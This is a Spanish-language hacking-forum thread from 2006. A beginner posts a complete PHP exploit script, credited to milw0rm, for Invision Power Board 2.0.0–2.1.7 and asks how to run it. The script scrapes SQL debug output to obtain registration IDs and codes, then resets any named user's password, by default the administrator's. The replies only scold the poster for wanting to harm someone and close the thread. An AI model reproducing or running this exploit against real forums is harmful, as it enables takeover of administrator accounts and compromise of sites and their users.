elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 07:56  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Exploit.php ¿Cómo ejecutarlo?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Exploit.php ¿Cómo ejecutarlo?  (Leído 2,573 veces)
PkSM3

Desconectado Desconectado

Mensajes: 2



Ver Perfil
Exploit.php ¿Cómo ejecutarlo?
« en: 18 Noviembre 2006, 00:28 »

Al salir un exploit para IPB 2.1.7, que estaba esperando hace un tiempo, me di cuenta que estaba en php:

Código:
<?php
/*

 Debug Mode password change vulnerability
 Affects Invision Power Borard 2.0.0 to 2.1.7
 by Rapigator
 
 This works if:

 "Debug Level" is set to 3
 or
 Enable SQL Debug Mode is turned on
 
 In General Configuration of the forum software.

*/

// The forum's address up to and including 'index.php'
$site = "http://localhost/forums/index.php";

// An existing user's login name
$name = "admin";

// The new password(3-32 characters)
$pass = "1234";

// You can use a proxy...
// $proxy = "1.2.3.4:8080";



// -----------------------------
$site .= "?";
$suffix = "";
$name = urlencode($name);
$pass = urlencode($pass);
$curl = curl_init($site.'act=Reg&CODE=10');
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>([\\w]*?)_reg_antispam<\/span> \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
$prefix = $regs[1];
$regid = $regs[2];
$regcode = $regs[3];
} else {
$suffix = "&debug=1";
$curl = curl_init($site.'act=Reg&CODE=10'.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/INSERT INTO ([\\w]*?)_reg_antispam \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
$prefix = $regs[1];
$regid = $regs[2];
$regcode = $regs[3];
}
}
if (!isset($regid) || !isset($regcode)) {
echo "Error: Probably not vulnerable, or no forum found";
exit;
}

$curl = curl_init($site.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=11&member_name={$name}&regid={$regid}&reg_code={$regcode}");
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \\(vid,member_id,real_group,temp_group,entry_date,coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
change_pass($regcode,$regid,$regs[1],$regs[2]);
}
if (preg_match('/INSERT INTO '.$prefix.'_validating \\(vid,member_id,real_group,temp_group,entry_date,coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
change_pass($regcode,$regid,$regs[1],$regs[2]);
}

function change_pass($regcode,$regid,$vid,$userid) {
global $site, $proxy, $name, $pass;
$curl = curl_init($site.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=03&type=lostpass&uid={$userid}&aid={$vid}&regid={$regid}&reg_code={$regcode}&pass1={$pass}&pass2={$pass}");
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
echo "Password Changed!";
exit;
}
?>

# milw0rm.com [2006-11-01]




No es como un exploit en perl... No sé como ejecutarlo. He leído que hay que subirlo a un host php y luego ejecutar un shell code...O.o... Lo único que sé, es que este exploit cambia la contraseña del administrador y esop...

Ha sido bastante complicado lanzarlo, ya que no encuentro la manera...

Guardé esta info en un .txt, y luego le cambié la extensión a PHP... Y por estos temas bajé un compilador o convertidor de php a exe... Lo convertí, pero al ejecutarlo por cmd, dice que hay un error en la línea 37...En esta:
Código:
$curl = curl_init($site.'act=Reg&CODE=10');

Necesito un poco de iluminación numás...
Les agradecería una ayudita...
En línea
SeniorX


Desconectado Desconectado

Mensajes: 1.347


Programador Novato


Ver Perfil WWW
Re: Exploit.php ¿Cómo ejecutarlo?
« Respuesta #1 en: 18 Noviembre 2006, 01:31 »

Lo único que sé, es que este exploit cambia la contraseña del administrador y esop...
Necesito un poco de iluminación numás...
Si eso es lo unico que sabes entonces deberias aprender un poco de php o de programacion.
Se nota que no lo quieres usar para fines didacticos (no creo que estes aprendiendo php...), sino que para joder a alguien.
Yo te recomiendo que compres un libro de php o bajes tutoriales muy buenos que hay en internet. Es facilisimo y en muy poco tiempo estaras haciendo tus propias aplicaciones. (Eso es iluminar a alguien)
En línea

Código:
try {
     live();
}
catch (ShitHappensException ex) {
MessageBox.Show(ex.Solution)
}
Precaución: La programacion puede producir adiccion
PkSM3

Desconectado Desconectado

Mensajes: 2



Ver Perfil
Re: Exploit.php ¿Cómo ejecutarlo?
« Respuesta #2 en: 18 Noviembre 2006, 03:00 »

Citar
Si eso es lo unico que sabes entonces deberias aprender un poco de php o de programacion.
Estoy a la mitad de html... se lo básico de este lenguaje...

Citar
Se nota que no lo quieres usar para fines didacticos (no creo que estes aprendiendo php...), sino que para joder a alguien.
Necesariamente?... Estoy tratando de aprender, he leido demasiado y ahora quiero practicar sin hacer daño... Lo único que hecho es lanzar un exploit en perl para IPB 2.1.6... fue el primer y unico logro... sé lo minimo de esos lenguajes...


Citar
Yo te recomiendo que compres un libro de php o bajes tutoriales muy buenos que hay en internet. Es facilisimo y en muy poco tiempo estaras haciendo tus propias aplicaciones. (Eso es iluminar a alguien)

Esto es suficiente?:
http://img172.imageshack.us/img172/5633/dibujoyz2.jpg
En vacaciones tendré tiempo de aprenderme esto...

Parece que no me iluminó nada, porque hace rato sabía donde iba la micro...^^u

Gracias por "iluminarme"...



« Última modificación: 18 Noviembre 2006, 03:03 por pokesam3 » En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: Exploit.php ¿Cómo ejecutarlo?
« Respuesta #3 en: 18 Noviembre 2006, 04:01 »

Busca en el foro antes de postear..

http://foro.elhacker.net/index.php/topic,141942.0.html

Tema cerrado, se ha tratado muchas veces ;)

Saludos!!
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Duda como se puede saber que hace un exe sin ejecutarlo?
Análisis y Diseño de Malware
phantom 3 1,580 Último mensaje 11 Marzo 2011, 15:11
por [L]ord [R]NA
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines